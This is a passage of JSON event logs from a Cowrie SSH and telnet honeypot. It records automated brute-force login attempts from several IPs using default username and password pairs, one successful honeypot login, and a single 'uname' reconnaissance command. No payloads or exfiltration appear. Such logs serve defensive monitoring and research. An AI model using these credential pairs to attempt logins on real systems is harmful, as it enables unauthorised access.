{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:27.264057Z","src_ip":"172.237.20.62","session":"b6a141e62c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58592,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e9c68b851d","protocol":"telnet","message":"New connection: 45.58.127.90:58592 (10.17.0.5:23) [session: 90e9c68b851d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:27.606478Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:27.737610Z","src_ip":"176.65.132.129","session":"2c96f67b867d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:27.953382Z","src_ip":"172.237.20.62","session":"b6a141e62c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:29.117493Z","src_ip":"172.237.20.62","session":"b6a141e62c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53708,"dst_ip":"159.203.135.109","dst_port":22,"session":"b54d6f97c545","protocol":"ssh","message":"New connection: 176.65.132.129:53708 (159.203.135.109:22) [session: b54d6f97c545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:29.623384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:29.627685Z","src_ip":"176.65.132.129","session":"b54d6f97c545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:29.709375Z","src_ip":"176.65.132.129","session":"b54d6f97c545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:29.954942Z","src_ip":"176.65.132.129","session":"b54d6f97c545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.70016670227051,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:30.872758Z","src_ip":"45.58.127.90","session":"c23c0e4cad84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:31.160316Z","src_ip":"176.65.132.129","session":"b54d6f97c545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53720,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7005c2e9c0d","protocol":"ssh","message":"New connection: 176.65.132.129:53720 (159.203.135.109:22) [session: a7005c2e9c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:32.878402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:32.883371Z","src_ip":"176.65.132.129","session":"a7005c2e9c0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:32.966419Z","src_ip":"176.65.132.129","session":"a7005c2e9c0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:33.320894Z","src_ip":"176.65.132.129","session":"a7005c2e9c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:34.405326Z","src_ip":"176.65.132.129","session":"a7005c2e9c0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.64820885658264,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:35.494336Z","src_ip":"45.58.127.90","session":"cd2109a1e108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34574,"dst_ip":"159.203.135.109","dst_port":22,"session":"97dc8937b064","protocol":"ssh","message":"New connection: 176.65.132.129:34574 (159.203.135.109:22) [session: 97dc8937b064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:36.313159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:36.317934Z","src_ip":"176.65.132.129","session":"97dc8937b064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:36.399631Z","src_ip":"176.65.132.129","session":"97dc8937b064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:36.648560Z","src_ip":"176.65.132.129","session":"97dc8937b064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:37.733368Z","src_ip":"176.65.132.129","session":"97dc8937b064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34400,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b112f553d07","protocol":"ssh","message":"New connection: 172.237.20.62:34400 (159.203.135.109:22) [session: 5b112f553d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:38.225784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:38.231134Z","src_ip":"172.237.20.62","session":"5b112f553d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:38.390837Z","src_ip":"172.237.20.62","session":"5b112f553d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:38.870002Z","src_ip":"172.237.20.62","session":"5b112f553d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33090,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7523542c49a","protocol":"telnet","message":"New connection: 45.58.127.90:33090 (10.17.0.5:23) [session: a7523542c49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:39.189255Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34590,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa5f9e917629","protocol":"ssh","message":"New connection: 176.65.132.129:34590 (159.203.135.109:22) [session: fa5f9e917629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:39.626214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:39.630949Z","src_ip":"176.65.132.129","session":"fa5f9e917629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:39.713963Z","src_ip":"176.65.132.129","session":"fa5f9e917629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:39.964315Z","src_ip":"176.65.132.129","session":"fa5f9e917629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:40.031231Z","src_ip":"172.237.20.62","session":"5b112f553d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:41.048550Z","src_ip":"176.65.132.129","session":"fa5f9e917629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34614,"dst_ip":"159.203.135.109","dst_port":22,"session":"a44c40d6b127","protocol":"ssh","message":"New connection: 176.65.132.129:34614 (159.203.135.109:22) [session: a44c40d6b127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:42.867933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:42.871981Z","src_ip":"176.65.132.129","session":"a44c40d6b127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:42.953826Z","src_ip":"176.65.132.129","session":"a44c40d6b127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00176000595093,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:43.151284Z","src_ip":"195.245.96.245","session":"a859d5413142","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:43.199433Z","src_ip":"176.65.132.129","session":"a44c40d6b127","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:43.400419Z","src_ip":"176.65.132.129","session":"a44c40d6b127","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:43.402578Z","src_ip":"176.65.132.129","session":"a44c40d6b127","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:43.485755Z","src_ip":"176.65.132.129","session":"a44c40d6b127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:43.490340Z","src_ip":"176.65.132.129","session":"a44c40d6b127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51306,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48a530306d3","protocol":"telnet","message":"New connection: 45.58.127.90:51306 (10.17.0.5:23) [session: c48a530306d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:43.988899Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.245.96.245","src_port":51309,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0547e8cbeec","protocol":"telnet","message":"New connection: 195.245.96.245:51309 (159.203.135.109:23) [session: a0547e8cbeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:44.599829Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33840,"dst_ip":"159.203.135.109","dst_port":22,"session":"25096069f40b","protocol":"ssh","message":"New connection: 176.65.132.129:33840 (159.203.135.109:22) [session: 25096069f40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:46.316371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:48:46.322577Z","src_ip":"176.65.132.129","session":"25096069f40b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-